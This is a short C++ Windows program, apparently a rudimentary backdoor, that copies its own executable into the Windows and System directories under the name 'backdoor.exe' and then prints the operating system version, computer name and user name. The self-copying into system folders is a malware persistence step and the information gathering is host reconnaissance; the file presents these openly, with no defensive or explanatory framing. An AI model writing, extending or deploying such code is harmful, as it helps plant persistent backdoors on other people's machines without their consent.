#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <windows.h>
#include <tchar.h>
#include <winnt.h>
using namespace std;
void CopySelf()
{
TCHAR szSelfName[MAX_PATH]={0};
TCHAR szWindowsPath[MAX_PATH]={0};
TCHAR szSystemPath[MAX_PATH]={0};
GetModuleFileName(NULL,szSelfName,MAX_PATH);
GetWindowsDirectory(szWindowsPath,MAX_PATH);
GetSystemDirectory(szSystemPath,MAX_PATH);
_tcscat(szWindowsPath,L"\\backdoor.exe");
_tcscat(szSystemPath ,L"\\backdoor.exe");
CopyFile(szSelfName,szWindowsPath,false);
CopyFile(szSelfName,szSystemPath,false);
}
void GetSystemInfo()
{
TCHAR szComputerName[MAXBYTE]={0};
TCHAR szUserName[MAXBYTE]={0};
OSVERSIONINFO os;
int len=MAXBYTE;
os.dwOSVersionInfoSize=sizeof(os);
GetVersionEx(&os);
if(os.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
if(os.dwMajorVersion==6&&os.dwMinorVersion==1)
cout<<"windows 7"<<endl;
else if(os.dwMajorVersion==5&&os.dwMinorVersion==0)
cout<<"windows 2k "<<endl;
}
else
{
cout<<"other system"<<endl;
}
GetComputerName(szComputerName,(DWORD *)&len);
printf("Computer name is %S\n",szComputerName);
GetUserName(szUserName,(DWORD *)&len);
printf("User name is %S\n",szUserName);
}
int main()
{
CopySelf();
GetSystemInfo();
return 0;
}